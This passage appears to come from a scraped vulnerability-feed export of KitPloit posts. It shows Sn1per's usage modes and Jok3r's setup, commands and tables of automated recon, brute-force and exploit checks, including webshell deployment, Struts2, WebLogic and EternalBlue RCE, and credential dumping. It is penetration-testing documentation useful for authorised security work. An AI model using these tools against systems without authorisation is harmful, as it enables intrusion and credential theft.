\n bash install_debian_ubuntu.sh\n\n \n**DOCKER INSTALL:** \n\n \n \n docker build Dockerfile\n\n \n**USAGE:** \n\n \n \n [*] NORMAL MODE\n sniper -t|--target <TARGET>\n \n [*] NORMAL MODE + OSINT + RECON + FULL PORT SCAN + BRUTE FORCE\n sniper -t|--target <TARGET> -o|--osint -re|--recon -fp|--fullportonly -b|--bruteforce\n \n [*] STEALTH MODE + OSINT + RECON\n sniper -t|--target <TARGET> -m|--mode stealth -o|--osint -re|--recon\n \n [*] DISCOVER MODE\n sniper -t|--target <CIDR> -m|--mode discover -w|--workspace <WORSPACE_ALIAS>\n \n [*] FLYOVER MODE\n sniper -t|--target <TARGET> -m|--mode flyover -w|--workspace <WORKSPACE_ALIAS>\n \n [*] AIRSTRIKE MODE\n sniper -f|--file /full/path/to/targets.txt -m|--mode airstrike\n \n [*] NUKE MODE WITH TARGET LIST, BRUTEFORCE ENABLED, FULLPORTSCAN ENABLED, OSINT ENABLED, RECON ENABLED, WORKSPACE & LOOT ENABLED\n sniper -f--file /full/path/to/targets.txt -m|--mode nuke -w|--workspace <WORKSPACE_ALIAS>\n \n [*] SCAN ONLY SPECIFIC PORT\n sniper -t|--target <TA RGET> -m port -p|--port <portnum>\n \n [*] FULLPORTONLY SCAN MODE\n sniper -t|--target <TARGET> -fp|--fullportonly\n \n [*] PORT SCAN MODE\n sniper -t|--target <TARGET> -m|--mode port -p|--port <PORT_NUM>\n \n [*] WEB MODE - PORT 80 + 443 ONLY!\n sniper -t|--target <TARGET> -m|--mode web\n \n [*] HTTP WEB PORT HTTP MODE\n sniper -t|--target <TARGET> -m|--mode webporthttp -p|--port <port>\n \n [*] HTTPS WEB PORT HTTPS MODE\n sniper -t|--target <TARGET> -m|--mode webporthttps -p|--port <port>\n \n [*] WEBSCAN MODE\n sniper -t|--target <TARGET> -m|--mode webscan\n \n [*] ENABLE BRUTEFORCE\n sniper -t|--target <TARGET> -b|--bruteforce\n \n [*] ENABLE LOOT IMPORTING INTO METASPLOIT\n sniper -t|--target <TARGET>\n \n [*] LOOT REIMPORT FUNCTION\n sniper -w <WORKSPACE_ALIAS> --reimport\n \n [*] LOOT REIMPORTALL FUNCTION\n sniper -w <WORKSPACE_ALIAS& gt; --reimportall\n \n [*] DELETE WORKSPACE\n sniper -w <WORKSPACE_ALIAS> -d\n \n [*] DELETE HOST FROM WORKSPACE\n sniper -w <WORKSPACE_ALIAS> -t <TARGET> -dh\n \n [*] SCHEDULED SCANS'\n sniper -w <WORKSPACE_ALIAS> -s daily|weekly|monthly'\n \n [*] SCAN STATUS\n sniper --status\n \n [*] UPDATE SNIPER\n sniper -u|--update\n\n \n**MODES:** \n\n\n * **NORMAL:** Performs basic scan of targets and open ports using both active and passive checks for optimal performance.\n * **STEALTH:** Quickly enumerate single targets using mostly non-intrusive scans to avoid WAF/IPS blocking.\n * **FLYOVER:** Fast multi-threaded high level scans of multiple targets (useful for collecting high level data on many hosts quickly).\n * **AIRSTRIKE:** Quickly enumerates open ports/services on multiple hosts and performs basic fingerprinting. To use, specify the full location of the file which contains all hosts, IPs that need to be scanned and run ./sn1per /full/path/to/targets.txt airstrike to begin scanning.\n * **NUKE:** Launch full audit of multiple hosts specified in text file of choice. Usage example: ./sniper /pentest/loot/targets.txt nuke.\n * **DISCOVER:** Parses all hosts on a subnet/CIDR (ie. 192.168.0.0/16) and initiates a sniper scan against each host. Useful for internal network scans.\n * **PORT:** Scans a specific port for vulnerabilities. Reporting is not currently available in this mode.\n * **FULLPORTONLY:** Performs a full detailed port scan and saves results to XML.\n * **WEB:** Adds full automatic web application scans to the results (port 80/tcp & 443/tcp only). Ideal for web applications but may increase scan time significantly.\n * **WEBPORTHTTP:** Launches a full HTTP web application scan against a specific host and port.\n * **WEBPORTHTTPS:** Launches a full HTTPS web application scan against a specific host and port.\n * **WEBSCAN:** Launches a full HTTP & HTTPS web application scan against via Burpsuite and Arachni.\n \n**SAMPLE REPORT:** \n<https://gist.github.com/1N3/8214ec2da2c91691bcbc> \n \n \n\n\n**[Download Sn1per](<https://github.com/1N3/Sn1per> \"Download Sn1per\" )**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2019-05-12T13:09:00", "type": "kitploit", "title": "Sn1per v7.0 - Automated Pentest Framework For Offensive Security Experts", "bulletinFamily": "tools", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2006-3392", "CVE-2009-3843", "CVE-2014-0160", "CVE-2014-6271", "CVE-2015-8249", "CVE-2017-10271", "CVE-2017-12617", "CVE-2017-5638", "CVE-2017-7269", "CVE-2017-9805", "CVE-2018-10561", "CVE-2018-11776", "CVE-2018-7600"], "modified": "2019-05-12T13:09:05", "id": "KITPLOIT:7013881512724945934", "href": "http://www.kitploit.com/2019/05/sn1per-v70-automated-pentest-framework.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-04-07T12:04:12", "description": "[![](https://2.bp.blogspot.com/-b-yEHDNsbTk/XEN8U7E8E2I/AAAAAAAAN8A/cGC9Z8NjoSUkGMyEFR9xJYU2XISstK8EgCLcBGAs/s640/jok3r_1_logo.png)](<https://2.bp.blogspot.com/-b-yEHDNsbTk/XEN8U7E8E2I/AAAAAAAAN8A/cGC9Z8NjoSUkGMyEFR9xJYU2XISstK8EgCLcBGAs/s1600/jok3r_1_logo.png>)\n\n \n_Jok3r_ is a Python3 CLI application which is aimed at **helping penetration testers for network infrastructure and web black-box security tests**. \nIts main goal is to **save time on everything that can be automated during network/web pentest in order to enjoy more time on more interesting and challenging stuff**. \nTo achieve that, it **combines open-source Hacking tools to run various security checks against all common network services.** \n** \n** [](<https://draft.blogger.com/null>) \n**Main features** \n**Toolbox management**: \n\n\n * Install automatically all the hacking tools used by _Jok3r_,\n * Keep the toolbox up-to-date,\n * Easily add new tools.\n**Attack automation**: \n\n\n * Target most common network services (including web),\n * Run security checks by chaining hacking tools, following standard process (Reconaissance, Vulnerability scanning, Exploitation, Account bruteforce, (Basic) Post-exploitation).\n * Let _Jok3r_ automatically choose the checks to run according to the context and knowledge about the target,\n**Mission management / Local database**: \n\n\n * Organize targets by missions in local database,\n * Fully manage missions and targets (hosts/services) via interactive shell (like msfconsole db),\n * Access results from security checks.\n_Jok3r_ has been built with the ambition to be easily and quickly customizable: Tools, security checks, supported network services... can be easily added/edited/removed by editing settings files with an easy-to-understand syntax. \n \n[](<https://draft.blogger.com/null>) \n**Installation** \n**The recommended way to use Jok3r is inside a Docker container so you will not have to worry about dependencies issues and installing the various hacking tools of the toolbox.** \n \nA Docker image is available on Docker Hub and automatically re-built at each update: <https://hub.docker.com/r/koutto/jok3r/>. It is initially based on official Kali Linux Docker image (kalilinux/kali-linux-docker). \n \n**Pull Jok3r Docker Image:** \n\n \n \n sudo docker pull koutto/jok3r\n\n**Run fresh Docker container:** \n\n \n \n sudo docker run -i -t --name jok3r-container -w /root/jok3r --net=host koutto/jok3r\n\n**Important: --net=host option is required to share host's interface. It is needed for reverse connections (e.g. Ping to container when testing for RCE, Get a reverse shell)** \nJok3r and its toolbox is ready-to-use ! \n\n\n * To re-run a stopped container:\n \n \n sudo docker start -i jok3r-container\n\n * To open multiple shells inside the container:\n \n \n sudo docker exec -it jok3r-container bash\n\nFor information about building your own Docker image or installing _Jok3r_ on your system without using Docker, refer to <https://jok3r.readthedocs.io/en/latest/installation.html> \n \n[](<https://draft.blogger.com/null>) \n**Quick usage examples** \n**Show all the tools in the toolbox** \n\n \n \n python3 jok3r.py toolbox --show-all\n\n**Install all the tools in the toolbox** \n\n \n \n python3 jok3r.py toolbox --install-all --fast\n\n**Update all the tools in the toolbox** \n\n \n \n python3 jok3r.py toolbox --update-all --fast\n\n**List supported services** \n\n \n \n python3 jok3r.py info --services\n\n**Show security checks for HTTP** \n\n \n \n python3 jok3r.py info --checks http\n\n**Create a new mission in local database** \n\n \n \n python3 jok3r.py db\n \n jok3rdb[default]> mission -a MayhemProject\n \n [+] Mission \"MayhemProject\" successfully added\n [*] Selected mission is now MayhemProject\n \n jok3rdb[MayhemProject]>\n\n**Run security checks against an URL and add results to the mission** \n\n \n \n python3 jok3r.py attack -t https://www.example.com/webapp/ --add MayhemProject\n\n**Run security checks against a MSSQL service (without user-interaction) and add results to the mission** \n\n \n \n python3 jok3r.py attack -t 192.168.1.42:1433 -s mssql --add MayhemProject --fast\n\n**Import hosts/services from Nmap results into the mission scope** \n\n \n \n python3 jok3r.py db\n \n jok3rdb[default]> mission MayhemProject\n \n [*] Selected mission is now MayhemProject\n \n jok3rdb[MayhemProject]> nmap results.xml\n\n**Run security checks against all services in the given mission and store results in the database** \n\n \n \n python3 jok3r.py attack -m MayhemProject --fast\n\n**Run security checks against only FTP services running on ports 21/tcp and 2121/tcp from the mission** \n\n \n \n python3 jok3r.py attack -m MayhemProject -f \"port=21,2121;service=ftp\" --fast\n\n**Run security checks against only FTP services running on ports 2121/tcp and all HTTP services on 192.168.1.42 from the mission** \n\n \n \n python3 jok3r.py attack -m MayhemProject -f \"port=2121;service=ftp\" -f \"ip=192.168.1.42;service=http\"\n\n[](<https://draft.blogger.com/null>) \n \n**Typical usage example** \nYou begin a pentest with several servers in the scope. Here is a typical example of usage of _JoK3r_: \n\n\n 1. You run _Nmap_ scan on the servers in the scope.\n 2. You create a new mission (let's say \"MayhemProject\") in the local database:\n \n \n python3 jok3r.py db\n \n jok3rdb[default]> mission -a MayhemProject\n \n [+] Mission \"MayhemProject\" successfully added\n [*] Selected mission is now MayhemProject\n \n jok3rdb[MayhemProject]>\n\n 3. You import your results from _Nmap_ scan in the database:\n \n \n jok3rdb[MayhemProject]> nmap results.xml\n\n 4. You can then have a quick overview of all services and hosts in the scope, add some comments, add some credentials if you already have some knowledge about the targets (grey box pentest), and so on\n \n \n jok3rdb[MayhemProject]> hosts\n \n [...]\n \n jok3rdb[MayhemProject]> services\n \n [...]\n\n 5. Now, you can run security checks against some targets in the scope. For example, if you want to run checks against all Java-RMI services in the scope, you can run the following command:\n \n \n python3 jok3r.py attack -m MayhemProject -f \"service=java-rmi\" --fast\n\n 6. You can view the results from the security checks either in live when the tools are executed or later from the database using the following command:\n \n \n jok3rdb[MayhemProject]> results\n\n[](<https://draft.blogger.com/null>) \n \n**Full Documentation** \nDocumentation is available at: <https://jok3r.readthedocs.io/> \n \n[](<https://draft.blogger.com/null>) \n**Supported Services & Security Checks ** \n**Lots of checks remain to be implemented and services must be added !! Work in progress ...** \n\n\n * [AJP (default 8009/tcp)](<https://github.com/koutto/jok3r#ajp-default-8009-tcp>)\n * [FTP (default 21/tcp)](<https://github.com/koutto/jok3r#ftp-default-21-tcp>)\n * [HTTP (default 80/tcp)](<https://github.com/koutto/jok3r#http-default-80-tcp>)\n * [Java-RMI (default 1099/tcp)](<https://github.com/koutto/jok3r#java-rmi-default-1099-tcp>)\n * [JDWP (default 9000/tcp)](<https://github.com/koutto/jok3r#jdwp-default-9000-tcp>)\n * [MSSQL (default 1433/tcp)](<https://github.com/koutto/jok3r#mssql-default-1433-tcp>)\n * [MySQL (default 3306/tcp)](<https://github.com/koutto/jok3r#mysql-default-3306-tcp>)\n * [Oracle (default 1521/tcp)](<https://github.com/koutto/jok3r#oracle-default-1521-tcp>)\n * [PostgreSQL (default 5432/tcp)](<https://github.com/koutto/jok3r#postgresql-default-5432-tcp>)\n * [RDP (default 3389/tcp)](<https://github.com/koutto/jok3r#rdp-default-3389-tcp>)\n * [SMB (default 445/tcp)](<https://github.com/koutto/jok3r#smb-default-445-tcp>)\n * [SMTP (default 25/tcp)](<https://github.com/koutto/jok3r#smtp-default-25-tcp>)\n * [SNMP (default 161/udp)](<https://github.com/koutto/jok3r#snmp-default-161-udp>)\n * [SSH (default 22/tcp)](<https://github.com/koutto/jok3r#ssh-default-22-tcp>)\n * [Telnet (default 21/tcp)](<https://github.com/koutto/jok3r#telnet-default-21-tcp>)\n * [VNC (default 5900/tcp)](<https://github.com/koutto/jok3r#vnc-default-5900-tcp>)\n\n \n\n\n[](<https://draft.blogger.com/null>) \n**AJP (default 8009/tcp)** \n\n \n \n +------------------------+------------+-------------------------------------------------------------------------------------------------+----------------+\n | Name | Category | Description | Tool used |\n +------------------------+------------+-------------------------------------------------------------------------------------------------+----------------+\n | nmap-recon | recon | Recon using Nmap AJP scripts | nmap |\n | tomcat-version | recon | Fingerprint Tomcat version through AJP | ajpy |\n | vuln-lookup | vulnscan | Vulnerability lookup in Vulners.com (NSE scripts) and exploit-db.com (lots of false positive !) | vuln-databases |\n | default-creds-tomcat | bruteforce | Check [default credentials](<https://www.kitploit.com/search/label/Default%20Credentials>) for Tomcat Application Manager | ajpy |\n | deploy-webshell-tomcat | exploit | Deploy a webshell on Tomcat through AJP | ajpy |\n +------------------------+------------+-------------------------------------------------------------------------------------------------+----------------+\n\n[](<https://draft.blogger.com/null>) \n**FTP (default 21/tcp)** \n\n \n \n +------------------+------------+-------------------------------------------------------------------------------------------------+----------------+\n | Name | Category | Description | Tool used |\n +------------------+------------+-------------------------------------------------------------------------------------------------+----------------+\n | nmap-recon | recon | Recon using Nmap FTP scripts | nmap |\n | nmap-vuln-lookup | vulnscan | Vulnerability lookup in Vulners.com (NSE scripts) and exploit-db.com (lots of false positive !) | vuln-databases |\n | ftpmap-scan | vulnscan | Identify FTP server soft/version and check for known vulns | ftpmap |\n | common-creds | bruteforce | Check common credentials on FTP server | patator |\n | bruteforce-creds | bruteforce | Bruteforce FTP accounts | patator |\n +------------------+------------+-------------------------------------------------------------------------------------------------+----------------+\n\n[](<https://draft.blogger.com/null>) \n**HTTP (default 80/tcp)** \n\n \n \n +--------------------------------------+-------------+--------------------------------------------------------------------------------------------------+--------------------------------+\n | Name | Category | Description | Tool used |\n +--------------------------------------+-------------+--------------------------------------------------------------------------------------------------+--------------------------------+\n | nmap-recon | recon | Recon using Nmap HTTP scripts | nmap |\n | load-balancing-detection | recon | HTTP load balancer detection | halberd |\n | waf-detection | recon | Identify and fingerprint WAF products protecting website | wafw00f |\n | tls-probing | recon | Identify the implementation in use by SSL/TLS servers (might allow server fingerprinting) | tls-prober |\n | fingerprinting-multi-whatweb | recon | Identify CMS, blogging platforms, JS libraries, Web servers | whatweb |\n | fingerprinting-app-server | recon | Fingerprint application server (JBoss, ColdFusion, Weblogic, Tomcat, Railo, Axis2, Glassfish) | clusterd |\n | fingerprinting-server-domino | recon | Fingerprint IBM/Lotus Domino server | domiowned |\n | fingerprinting-cms-wig | recon | Identify several CMS and other administrative applications | wig |\n | fingerprinting-cms-cmseek | recon | Detect CMS (130+ supported), detect version on Drupal, advanced scan on Wordpress/Joomla | cmseek |\n | fingerprinting-cms-fingerprinter | recon | Fingerprint precisely CMS versions (based on files checksums) | fingerprinter |\n | fingerprinting-cms-cmsexplorer | recon | Find plugins and themes (using bruteforce) installed in a CMS (Wordpress, Drupal, Joomla, Mambo) | cmsexplorer |\n | fingerprinting-drupal | recon | Fingerprint Drupal 7/8: users, nodes, default files, modules, themes enumeration | drupwn |\n | crawling-fast | recon | Crawl website quickly, analyze interesting files/directories | dirhunt |\n | crawling-fast2 | recon | Crawl website and extract URLs, files, intel & endpoints | photon |\n | vuln-lookup | vulnscan | Vulnerability lookup in Vulners.com (NSE scripts) and exploit-db.com (lots of false positive !) | vuln-databases |\n | ssl-check | vulnscan | Check for SSL/TLS configuration | testssl |\n | vulnscan-multi-nikto | vulnscan | Check for multiple web vulnerabilities/misconfigurations | nikto |\n | default-creds-web-multi | vulnscan | Check for default credentials on various web interfaces | changeme |\n | webdav-scan-davscan | vulnscan | Scan HTTP WebDAV | davscan |\n | webdav-scan-msf | vulnscan | Scan HTTP WebDAV | metasploit |\n | webdav-internal-ip-disclosure | vulnscan | Check for WebDAV internal IP disclosure | metasploit |\n | webdav-website-content | vulnscan | Detect webservers disclosing its content through WebDAV | metasploit |\n | http-put-check | vulnscan | Detect the support of dangerous HTTP PUT method | metasploit |\n | apache-optionsbleed-check | vulnscan | Test for the Optionsbleed bug in Apache httpd (CVE-2017-9798) | optionsbleed |\n | shellshock-scan | vulnscan | Detect if web server is vulnerable to Shellshock (CVE-2014-6271) | shocker |\n | iis-shortname-scan | vulnscan | Scan for IIS short filename (8.3) disclosure vulnerability | iis-shortname-scanner |\n | iis-internal-ip-disclosure | vulnscan | Check for IIS internal IP disclosure | metasploit |\n | tomcat-user-enum | vulnscan | Enumerate users on Tomcat 4.1.0 - 4.1.39, 5.5.0 - 5.5.27, and 6.0.0 - 6.0.18 | metasploit |\n | jboss-vulnscan-multi | vulnscan | Scan JBoss application server for multiple vulnerabilities | metasploit |\n | jboss-status-infoleak | vulnscan | Queries JBoss status servlet to collect [sensitive information](<https://www.kitploit.com/search/label/Sensitive%20Information>) (JBoss 4.0, 4.2.2 and 4.2.3) | metasploit |\n | jenkins-infoleak | vulnscan | Enumerate a remote Jenkins-CI installation in an unauthenticated manner | metasploit |\n | cms-multi-vulnscan-cmsmap | vulnscan | Check for vulnerabilities in CMS Wordpress, Drupal, Joomla | cmsmap |\n | wordpress-vulscan | vulnscan | Scan for vulnerabilities in CMS Wordpress | wpscan |\n | wordpress-vulscan2 | vulnscan | Scan for vulnerabilities in CMS Wordpress | wpseku |\n | joomla-vulnscan | vulnscan | Scan for vulnerabilities in CMS Joomla | joomscan |\n | joomla-vulnscan2 | vulnscan | Scan for vulnerabilities in CMS Joomla | joomlascan |\n | joomla-vulnscan3 | vulnscan | Scan for vulnerabilities in CMS Joomla | joomlavs |\n | drupal-vulnscan | vulnscan | Scan for vulnerabilities in CMS Drupal | droopescan |\n | magento-vulnscan | vulnscan | Check for misconfigurations in CMS Magento | magescan |\n | silverstripe-vulnscan | vulnscan | Scan for vulnerabilities in CMS Silverstripe | droopescan |\n | vbulletin-vulnscan | vulnscan | Scan for vulnerabilities in CMS vBulletin | vbscan |\n | liferay-vulnscan | vulnscan | Scan for vulnerabilities in CMS Liferay | liferayscan |\n | angularjs-csti-scan | vulnscan | Scan for AngularJS Client-Side Template Injection | angularjs-csti-scanner |\n | jboss-deploy-shell | exploit | Try to deploy shell on JBoss server (jmx|web|admin-console, JMXInvokerServlet) | jexboss |\n | struts2-rce-cve2017-5638 | exploit | Exploit Apache Struts2 Jakarta Multipart parser RCE (CVE-2017-5638) | jexboss |\n | struts2-rce-cve2017-9805 | exploit | Exploit Apache Struts2 REST Plugin XStream RCE (CVE-2017-9805) | struts-pwn-cve2017-9805 |\n | struts2-rce-cve2018-11776 | exploit | Exploit Apache Struts2 [misconfiguration](<https://www.kitploit.com/search/label/Misconfiguration>) RCE (CVE-2018-11776) | struts-pwn-cve2018-11776 |\n | tomcat-rce-cve2017-12617 | exploit | Exploit for Apache Tomcat JSP Upload Bypass RCE (CVE-2017-12617) | exploit-tomcat-cve2017-12617 |\n | jenkins-cliport-deserialize | exploit | Exploit Java deserialization in Jenkins CLI port | jexboss |\n | weblogic-t3-deserialize-cve2015-4852 | exploit | Exploit Java deserialization in Weblogic T3(s) (CVE-2015-4852) | loubia |\n | weblogic-t3-deserialize-cve2017-3248 | exploit | Exploit Java deserialization in Weblogic T3(s) (CVE-2017-3248) | exploit-weblogic-cve2017-3248 |\n | weblogic-t3-deserialize-cve2018-2893 | exploit | Exploit Java deserialization in Weblogic T3(s) (CVE-2018-2893) | exploit-weblogic-cve2018-2893 |\n | weblogic-wls-wsat-cve2017-10271 | exploit | Exploit WLS-WSAT in Weblogic - CVE-2017-10271 | exploit-weblogic-cve2017-10271 |\n | drupal-cve-exploit | exploit | Check and exploit CVEs in CMS Drupal 7/8 (include Drupalgeddon2) (require user interaction) | drupwn |\n | bruteforce-domino | bruteforce | Bruteforce against IBM/Lotus Domino server | domiowned |\n | bruteforce-wordpress | bruteforce | Bruteforce Wordpress accounts | wpseku |\n | bruteforce-joomla | bruteforce | Bruteforce Joomla account | xbruteforcer |\n | bruteforce-drupal | bruteforce | Bruteforce Drupal account | xbruteforcer |\n | bruteforce-opencart | bruteforce | Bruteforce Opencart account | xbruteforcer |\n | bruteforce-magento | bruteforce | Bruteforce Magento account | xbruteforcer |\n | web-path-bruteforce-targeted | bruteforce | Bruteforce web paths when language is known (extensions adapted) (use raft wordlist) | dirsearch |\n | web-path-bruteforce-blind | bruteforce | Bruteforce web paths when language is unknown (use raft wordlist) | wfuzz |\n | web-path-bruteforce-opendoor | bruteforce | Bruteforce web paths using OWASP OpenDoor wordlist | wfuzz |\n | wordpress-shell-upload | postexploit | Upload shell on Wordpress if admin credentials are known | wpforce |\n +--------------------------------------+-------------+--------------------------------------------------------------------------------------------------+--------------------------------+\n\n[](<https://draft.blogger.com/null>) \n**Java-RMI (default 1099/tcp)** \n\n \n \n +--------------------------------+-------------+--------------------------------------------------------------------------------------------------------+----------------+\n | Name | Category | Description | Tool used |\n +--------------------------------+-------------+--------------------------------------------------------------------------------------------------------+----------------+\n | nmap-recon | recon | Attempt to dump all objects from Java-RMI service | nmap |\n | rmi-enum | recon | Enumerate RMI services | barmie |\n | jmx-info | recon | Get information about JMX and the MBean server | twiddle |\n | vuln-lookup | vulnscan | Vulnerability lookup in Vulners.com (NSE scripts) and exploit-db.com (lots of false positive !) | vuln-databases |\n | jmx-bruteforce | bruteforce | Bruteforce creds to connect to JMX registry | jmxbf |\n | exploit-rmi-default-config | exploit | Exploit default config in RMI Registry to load classes from any remote URL (not working against JMX) | metasploit |\n | exploit-jmx-insecure-config | exploit | Exploit JMX insecure config. Auth disabled: should be vuln. Auth enabled: vuln if weak config | metasploit |\n | jmx-auth-disabled-deploy-class | exploit | Deploy malicious MBean on JMX service with auth disabled (alternative to msf module) | sjet |\n | tomcat-jmxrmi-deserialize | exploit | Exploit Java-RMI deserialize in Tomcat (CVE-2016-8735, CVE-2016-8735), req. JmxRemoteLifecycleListener | jexboss |\n | rmi-deserialize-all-payloads | exploit | Attempt to exploit Java deserialize against Java RMI Registry with all ysoserial payloads | ysoserial |\n | tomcat-jmxrmi-manager-creds | postexploit | Retrieve Manager creds on Tomcat JMX (req. auth disabled or creds known on JMX) | jmxploit |\n +--------------------------------+-------------+--------------------------------------------------------------------------------------------------------+----------------+\n\n[](<https://draft.blogger.com/null>) \n**JDWP (default 9000/tcp)** \n\n \n \n +------------+----------+-----------------------------------------------------+-----------------+\n | Name | Category | Description | Tool used |\n +------------+----------+-----------------------------------------------------+-----------------+\n | nmap-recon | recon | Recon using Nmap JDWP scripts | nmap |\n | jdwp-rce | exploit | Gain RCE on JDWP service (show OS/Java info as PoC) | jdwp-shellifier |\n +------------+----------+-----------------------------------------------------+-----------------+\n\n[](<https://draft.blogger.com/null>) \n**MSSQL (default 1433/tcp)** \n\n \n \n +-----------------------+-------------+--------------------------------------------------------------------------------------------------------------+-----------+\n | Name | Category | Description | Tool used |\n +-----------------------+-------------+--------------------------------------------------------------------------------------------------------------+-----------+\n | nmap-recon | recon | Recon using Nmap MSSQL scripts | nmap |\n | mssqlinfo | recon | Get technical information about a remote MSSQL server (use TDS protocol and SQL browser Server) | msdat |\n | common-creds | bruteforce | Check common/default credentials on MSSQL server | msdat |\n | bruteforce-sa-account | bruteforce | Bruteforce MSSQL \"sa\" account | msdat |\n | audit-mssql-postauth | postexploit | Check permissive privileges, methods allowing command execution, weak accounts after authenticating on MSSQL | msdat |\n +-----------------------+-------------+--------------------------------------------------------------------------------------------------------------+-----------+\n\n[](<https://draft.blogger.com/null>) \n**MySQL (default 3306/tcp)** \n\n \n \n +----------------------------------+-------------+-------------------------------------------------------------------------+---------------+\n | Name | Category | Description | Tool used |\n +----------------------------------+-------------+-------------------------------------------------------------------------+---------------+\n | nmap-recon | recon | Recon using Nmap MySQL scripts | nmap |\n | mysql-auth-bypass-cve2012-2122 | exploit | Exploit password bypass vulnerability in MySQL - CVE-2012-2122 | metasploit |\n | default-creds | bruteforce | Check default credentials on MySQL server | patator |\n | mysql-hashdump | postexploit | Retrieve usernames and password hashes from MySQL database (req. creds) | metasploit |\n | mysql-interesting-tables-columns | postexploit | Search for interesting tables and columns in database | jok3r-scripts |\n +----------------------------------+-------------+-------------------------------------------------------------------------+---------------+\n\n[](<https://draft.blogger.com/null>) \n**Oracle (default 1521/tcp)** \n\n \n \n +--------------------------+-------------+--------------------------------------------------------------------------------------------------------------+-----------+\n | Name | Category | Description | Tool used |\n +--------------------------+-------------+--------------------------------------------------------------------------------------------------------------+-----------+\n | tnscmd | recon | Connect to TNS Listener and issue commands Ping, Status, Version | odat |\n | tnspoisoning | vulnscan | Test if TNS Listener is vulnerable to TNS Poisoning (CVE-2012-1675) | odat |\n | common-creds | bruteforce | Check common/default credentials on Oracle server | odat |\n | bruteforce-creds | bruteforce | Bruteforce Oracle accounts (might block some accounts !) | odat |\n | audit-oracle-postauth | postexploit | Check for privesc vectors, config leading to command execution, weak accounts after authenticating on Oracle | odat |\n | search-columns-passwords | postexploit | Search for columns storing passwords in the database | odat |\n +--------------------------+-------------+--------------------------------------------------------------------------------------------------------------+-----------+\n\n[](<https://draft.blogger.com/null>) \n**PostgreSQL (default 5432/tcp)** \n\n \n \n +---------------+------------+------------------------------------------------+-----------+\n | Name | Category | Description | Tool used |\n +---------------+------------+------------------------------------------------+-----------+\n | default-creds | bruteforce | Check default credentials on PostgreSQL server | patator |\n +---------------+------------+------------------------------------------------+-----------+\n\n[](<https://draft.blogger.com/null>) \n**RDP (default 3389/tcp)** \n\n \n \n +----------+----------+-----------------------------------------------------------------------+------------+\n | Name | Category | Description | Tool used |\n +----------+----------+-----------------------------------------------------------------------+------------+\n | ms12-020 | vulnscan | Check for MS12-020 RCE vulnerability (any Windows before 13 Mar 2012) | metasploit |\n +---------+----------+-----------------------------------------------------------------------+------------+\n\n[](<https://draft.blogger.com/null>) \n**SMB (default 445/tcp)** \n\n \n \n +-----------------------------------+-------------+-------------------------------------------------------------------------------+------------+\n | Name | Category | Description | Tool used |\n +-----------------------------------+-------------+-------------------------------------------------------------------------------+------------+\n | nmap-recon | recon | Recon using Nmap SMB scripts | nmap |\n | anonymous-enum-smb | recon | Attempt to perform enum (users, shares...) without account | nullinux |\n | nmap-vulnscan | vulnscan | Check for vulns in SMB (MS17-010, MS10-061, MS10-054, MS08-067...) using Nmap | nmap |\n | detect-ms17-010 | vulnscan | Detect MS17-010 SMB RCE | metasploit |\n | samba-rce-cve2015-0240 | vulnscan | Detect RCE vuln (CVE-2015-0240) in Samba 3.5.x and 3.6.X | metasploit |\n | exploit-rce-ms08-067 | exploit | Exploit for RCE vuln MS08-067 on SMB | metasploit |\n | exploit-rce-ms17-010-eternalblue | exploit | Exploit for RCE vuln MS17-010 EternalBlue on SMB | metasploit |\n | exploit-sambacry-rce-cve2017-7494 | exploit | Exploit for SambaCry RCE on Samba <= 4.5.9 (CVE-2017-7494) | metasploit |\n | auth-enum-smb | postexploit | Authenticated enumeration (users, groups, shares) on SMB | nullinux |\n | auth-shares-perm | postexploit | Get R/W permissions on SMB shares | smbmap |\n | smb-exec | postexploit | Attempt to get a remote shell (psexec-like, requires Administrator creds) | impacket |\n +-----------------------------------+-------------+-------------------------------------------------------------------------------+------------+\n\n[](<https://draft.blogger.com/null>) \n**SMTP (default 25/tcp)** \n\n \n \n +----------------+----------+--------------------------------------------------------------------------------------------+----------------+\n | Name | Category | Description | Tool used |\n +----------------+----------+--------------------------------------------------------------------------------------------+----------------+\n | smtp-cve | vulnscan | Scan for vulnerabilities (CVE-2010-4344, CVE-2011-1720, CVE-2011-1764, open-relay) on SMTP | nmap |\n | smtp-user-enum | vulnscan | Attempt to perform user enumeration via SMTP commands EXPN, VRFY and RCPT TO | smtp-user-enum |\n +----------------+----------+--------------------------------------------------------------------------------------------+----------------+\n\n[](<https://draft.blogger.com/null>) \n**SNMP (default 161/udp)** \n\n \n \n +--------------------------+-------------+---------------------------------------------------------------------+------------+\n | Name | Category | Description | Tool used |\n +--------------------------+-------------+---------------------------------------------------------------------+------------+\n | common-community-strings | bruteforce | Check common community strings on SNMP server | metasploit |\n | snmpv3-bruteforce-creds | bruteforce | Bruteforce SNMPv3 credentials | snmpwn |\n | enumerate-info | postexploit | Enumerate information provided by SNMP (and check for write access) | snmp-check |\n +--------------------------+-------------+---------------------------------------------------------------------+------------+\n\n[](<https://draft.blogger.com/null>) \n**SSH (default 22/tcp)** \n\n \n \n +--------------------------------+------------+--------------------------------------------------------------------------------------------+-----------+\n | Name | Category | Description | Tool used |\n +--------------------------------+------------+--------------------------------------------------------------------------------------------+-----------+\n | vulns-algos-scan | vulnscan | Scan supported algorithms and security info on SSH server | ssh-audit |\n | user-enumeration-timing-attack | exploit | Try to perform OpenSSH (versions <= 7.2 and >= 5.*) user enumeration timing attack OpenSSH | osueta |\n | default-ssh-key | bruteforce | Try to authenticate on SSH server using known SSH keys | changeme |\n | default-creds | bruteforce | Check default credentials on SSH | patator |\n 